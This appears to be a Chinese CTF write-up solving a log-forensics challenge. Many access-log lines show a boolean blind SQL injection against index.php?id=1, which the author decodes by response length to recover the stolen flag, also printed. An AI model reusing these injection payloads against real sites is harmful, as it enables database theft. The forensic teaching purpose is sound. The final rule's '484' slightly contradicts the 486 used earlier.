点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

CTF合集 日志取证

感谢 yiqing 提供的题目与部分思路

0x00、前言

取证题目是比较新的题目,但又与以往题目思路又大同小异,于是写个post记录一下

0x01、题目

一道qsnctf题

日志分析: 发现服务器被攻击了,请在日志文件里面找到黑客攻击的地址、时间和拿走的flag。flag形式(qsnctf{IP地址-年/月/日-flag})
日志文件

给出了一大堆黑客活动产生的日志记录,我主要找黑客盗取的flag,黑客主要盲注过程经浓缩后数据大致如下所示

218.26.159.30 - - [06/Mar/2023:16:33:27  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>64 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:28  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:29  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:30  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:31  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:32  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>114 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:34  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>113 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:35  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:36  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:37  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:38  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:39  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>114 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:40  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>115 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:41  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:42  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>112 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:43  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>104 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:44  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>108 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:45  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>110 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:46  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>109 HTTP/1.1" 200 486

......(此处省略n行)

一开始对此是毫无头绪的,因为以前学的盲注知识几乎忘得一干二净

因此赶紧到网络上找到了几篇文章看了一下,遂有了接下来的分析

0x02、分析

众所周知的,ascii字符型盲注的主要原理是二分法,主要过程是:逐语句地一个个试字符串中第n个字符的ascii码值(0 <= n < 字符串长度),对每次盲注response分析后缩小该第n个字符的可能ascii范围,反复 试探-分析-缩小范围 这个过程,最终确定第n个字符的编码值. 简单地说就是逐个字符的二分查找. 因此盲注一般花费的时间非常长,经常需要跑很久

浅浅地观察任意条目的日志,发现初步规律

218.26.159.30 - - [06/Mar/2023:16:33:27  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),[flag第几位字符],1))>[该位字符的尝试值] HTTP/1.1" 200 486

以规律分析日志,发现盲注出来的值应该是一个长度为44的字符串类型. 我们先将日志里前几个字符人工筛出来

第一个字符:
218.26.159.30 - - [06/Mar/2023:16:33:27  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>64 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:28  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:29  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:30  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:31  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:32  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>114 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:34  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>113 HTTP/1.1" 200 404
第二个字符:
218.26.159.30 - - [06/Mar/2023:16:33:35  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:36  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:37  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:38  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:39  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>114 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:40  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>115 HTTP/1.1" 200 404
第三个字符:
218.26.159.30 - - [06/Mar/2023:16:33:41  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:42  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>112 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:43  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>104 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:44  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>108 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:45  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>110 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:46  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>109 HTTP/1.1" 200 486

......

对第一个字符的盲注日志人工分析

第一个字符:
218.26.159.30 - - [06/Mar/2023:16:33:27  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>64 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:28  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:29  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:30  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:31  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:32  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>114 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:34  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>113 HTTP/1.1" 200 404

我们发现,第一个字符的ascii值可能是113或114,原因是:当倒数第二个盲注语句执行后,根据倒数第一个盲注语句的尝试值我们可以判断当前ascii值 <= 114. 但是我们无法得知最后一个盲注结果,因此113 <= ascii值 <= 114.
由此发现我们缺少一个关键条件判断最后一个盲注语句的值,并且该条件必须是跟response有关

在这里我们可以先人工猜测一下,ascii码的值应该是113,也就是q的ascii码值. 因为这样正好能对得上flag头qsnctf,但是没有依据,不能判断后续字符

继续深入分析,发现整条日志中,就最后一个数字没用到. 猜测该数字与response相关,进一步猜测该数字有可能是response长度

由此根据第一条语句注入过程猜测当前response长度为404时,当前盲注语句为假,当前res长度为486时,当前盲注语句为真

response长度 盲注语句值
404
486

取前六个字符的盲注语句按以上规律人工分析,发现正好是qsnctf,与flag头正相对应,猜想得以被证明

最终规律

218.26.159.30 - - [06/Mar/2023:16:33:27  0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),[flag第几位字符],1))>[该位字符的尝试值] HTTP/1.1" 200 [该条盲注语句真值,404为假,484为真]

0x03、脚本处理

根据最终规律,写脚本对后续字符遍历,遂确定了黑客盗走的flag为

qsnctf{6c19860-3789a492-8477eccd-5d550b6b2}

再找到IP地址和年/月/日,组合成最终flag就行了

分析脚本和日志如下:
分析脚本 日志文件